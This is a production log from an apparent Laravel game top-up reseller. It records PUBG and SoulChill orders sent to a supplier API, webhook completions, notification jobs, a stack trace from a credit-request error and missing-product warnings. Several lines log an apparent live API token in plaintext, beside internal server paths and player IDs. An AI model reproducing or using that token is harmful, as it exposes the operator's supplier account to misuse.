[2026-03-24 18:28:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=468312fe-46b9-4ad6-a547-f3376084a0bc&Player_ID=51837087542  
[2026-03-24 18:28:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=468312fe-46b9-4ad6-a547-f3376084a0bc&Player_ID=51837087542","has_body":false} 
[2026-03-24 18:28:27] production.INFO: Operation sent successfully {"operation_id":164007,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hWTYTS7A-1774366107","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:28:27"}},"processed_data":{"order_number":"ORD-hWTYTS7A-1774366107","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:28:32] production.INFO: Constructing job for order: 179106  
[2026-03-24 18:28:33] production.INFO: Handling job for order: 179106  
[2026-03-24 18:28:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:28:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:28:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=df553f2a-0b66-4a4c-9a84-a9a49a824ca8&Player_ID=51748314916  
[2026-03-24 18:28:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=df553f2a-0b66-4a4c-9a84-a9a49a824ca8&Player_ID=51748314916","has_body":false} 
[2026-03-24 18:28:34] production.INFO: Operation sent successfully {"operation_id":164008,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-w0oSF-1774366114","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:28:34"}},"processed_data":{"order_number":"ORD-w0oSF-1774366114","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:28:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-w0oSF-1774366114","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:28:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-w0oSF-1774366114","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:28:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:28:44] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179106} 
[2026-03-24 18:28:44] production.INFO: Order updated successfully. Order ID: 179106, Status: completed  
[2026-03-24 18:28:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-w0oSF-1774366114","status":"completed","codes_count":0} 
[2026-03-24 18:28:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:28:47] production.INFO: Constructing job for order: 179107  
[2026-03-24 18:28:49] production.INFO: Handling job for order: 179107  
[2026-03-24 18:28:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:28:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:28:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b3d0c445-0bcd-4ccf-8a32-88fbbf049935&Player_ID=52336683076  
[2026-03-24 18:28:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b3d0c445-0bcd-4ccf-8a32-88fbbf049935&Player_ID=52336683076","has_body":false} 
[2026-03-24 18:28:50] production.INFO: Operation sent successfully {"operation_id":164009,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-10MSY-1774366130","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:28:50"}},"processed_data":{"order_number":"ORD-10MSY-1774366130","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:28:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hWTYTS7A-1774366107","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:28:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-hWTYTS7A-1774366107","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:28:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:28:50] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":179105} 
[2026-03-24 18:28:50] production.INFO: Order updated successfully. Order ID: 179105, Status: completed  
[2026-03-24 18:28:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hWTYTS7A-1774366107","status":"completed","codes_count":0} 
[2026-03-24 18:28:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 18:28:58] production.INFO: SendAcceptReject: Notification queued {"user_id":67,"notification_type":"order_approved","reference_id":179087} 
[2026-03-24 18:28:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 67  
[2026-03-24 18:29:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-10MSY-1774366130","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:29:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-10MSY-1774366130","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:29:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:29:03] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179107} 
[2026-03-24 18:29:03] production.INFO: Order updated successfully. Order ID: 179107, Status: completed  
[2026-03-24 18:29:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-10MSY-1774366130","status":"completed","codes_count":0} 
[2026-03-24 18:29:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:29:20] production.INFO: Constructing job for order: 179108  
[2026-03-24 18:29:23] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"request_rejected","reference_id":18663} 
[2026-03-24 18:29:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 18:29:23] production.INFO: Handling job for order: 179108  
[2026-03-24 18:29:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:29:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:29:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=3000&uuid=e474d2a4-22a8-48b4-8992-e1e5e6bda048&Player_ID=16941391  
[2026-03-24 18:29:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=3000&uuid=e474d2a4-22a8-48b4-8992-e1e5e6bda048&Player_ID=16941391","has_body":false} 
[2026-03-24 18:29:23] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"500.0","mainamount":"500","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpe56a0c9ks9uv4v3w4sf"}},"user_id":961} 
[2026-03-24 18:29:23] production.ERROR: Undefined array key "operation_number" {"userId":961,"exception":"[object] (ErrorException(code: 0): Undefined array key \"operation_number\" at /home/talaah/public_html/app/Services/CreditRequestService.php:58)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Undefined array...', '/home/talaah/pu...', 58)
#1 /home/talaah/public_html/app/Services/CreditRequestService.php(58): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Undefined array...', '/home/talaah/pu...', 58)
#2 /home/talaah/public_html/app/Http/Controllers/Api/PaymentController.php(66): App\\Services\\CreditRequestService->createCreditRequest(Array, Object(App\\Models\\User), Object(Illuminate\\Http\\UploadedFile))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Api\\PaymentController->requestcredit(Object(Illuminate\\Http\\Request))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('requestcredit', Array)
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Api\\PaymentController), 'requestcredit')
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/app/Http/Middleware/CheckServiceAvailability.php(37): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckServiceAvailability->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'balance_request')
#11 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#46 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#47 {main}
"} 
[2026-03-24 18:29:24] production.INFO: Operation sent successfully {"operation_id":164010,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Gvp-1774366164","amount":5.15001689999999978653022481012158095836639404296875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 18:29:24"}},"processed_data":{"order_number":"ORD-Gvp-1774366164","amount":5.15001689999999978653022481012158095836639404296875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 18:29:51] production.INFO: Constructing job for order: 179109  
[2026-03-24 18:29:53] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"request_rejected","reference_id":18664} 
[2026-03-24 18:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 18:29:54] production.INFO: Handling job for order: 179109  
[2026-03-24 18:29:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:29:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:29:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ac7f9f86-f217-495d-8c5f-e17585c40604&Player_ID=5543150226  
[2026-03-24 18:29:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ac7f9f86-f217-495d-8c5f-e17585c40604&Player_ID=5543150226","has_body":false} 
[2026-03-24 18:29:55] production.INFO: Operation sent successfully {"operation_id":164011,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xTsbp-1774366195","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:29:55"}},"processed_data":{"order_number":"ORD-xTsbp-1774366195","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:30:03] production.INFO: SendAcceptReject: Notification queued {"user_id":961,"notification_type":"request_approved","reference_id":18665} 
[2026-03-24 18:30:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04"} 
[2026-03-24 18:30:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","total_operations":4,"sites_count":2} 
[2026-03-24 18:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-Gvp-1774366164","ORD-xTsbp-1774366195"]} 
[2026-03-24 18:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 18:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Gvp-1774366164","operation_id":164010} 
[2026-03-24 18:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011} 
[2026-03-24 18:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 18:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011,"processed":0,"errors":0} 
[2026-03-24 18:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011,"orders_count":1,"order_ids":["ORD-Qk9fh8H-1774366055"]} 
[2026-03-24 18:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011} 
[2026-03-24 18:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xTsbp-1774366195","operation_id":164011,"orders_count":1} 
[2026-03-24 18:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:30:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:30:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"count":1} 
[2026-03-24 18:30:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"count":1} 
[2026-03-24 18:30:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"user_id":366,"notification_type":"order_approved","reference_id":179104} 
[2026-03-24 18:30:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:30:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:30:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"processed":1,"errors":0} 
[2026-03-24 18:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"processed":1,"errors":0} 
[2026-03-24 18:30:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hihbD5kfb5Vxr4gpP5bdlAaahZwhpJYO","execution_time":"2026-03-24 18:30:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006} 
[2026-03-24 18:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:30:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:30:06] production.INFO: async() رجع: true  
[2026-03-24 18:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:30:06] production.INFO: Constructing job for order: 179110  
[2026-03-24 18:30:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:30:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xTsbp-1774366195","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:30:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-xTsbp-1774366195","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:30:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:30:07] production.INFO: SendAcceptReject: Notification queued {"user_id":373,"notification_type":"order_approved","reference_id":179109} 
[2026-03-24 18:30:07] production.INFO: Order updated successfully. Order ID: 179109, Status: completed  
[2026-03-24 18:30:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xTsbp-1774366195","status":"completed","codes_count":0} 
[2026-03-24 18:30:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:30:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:30:08] production.INFO: خلصت refreshPriceinsite()  
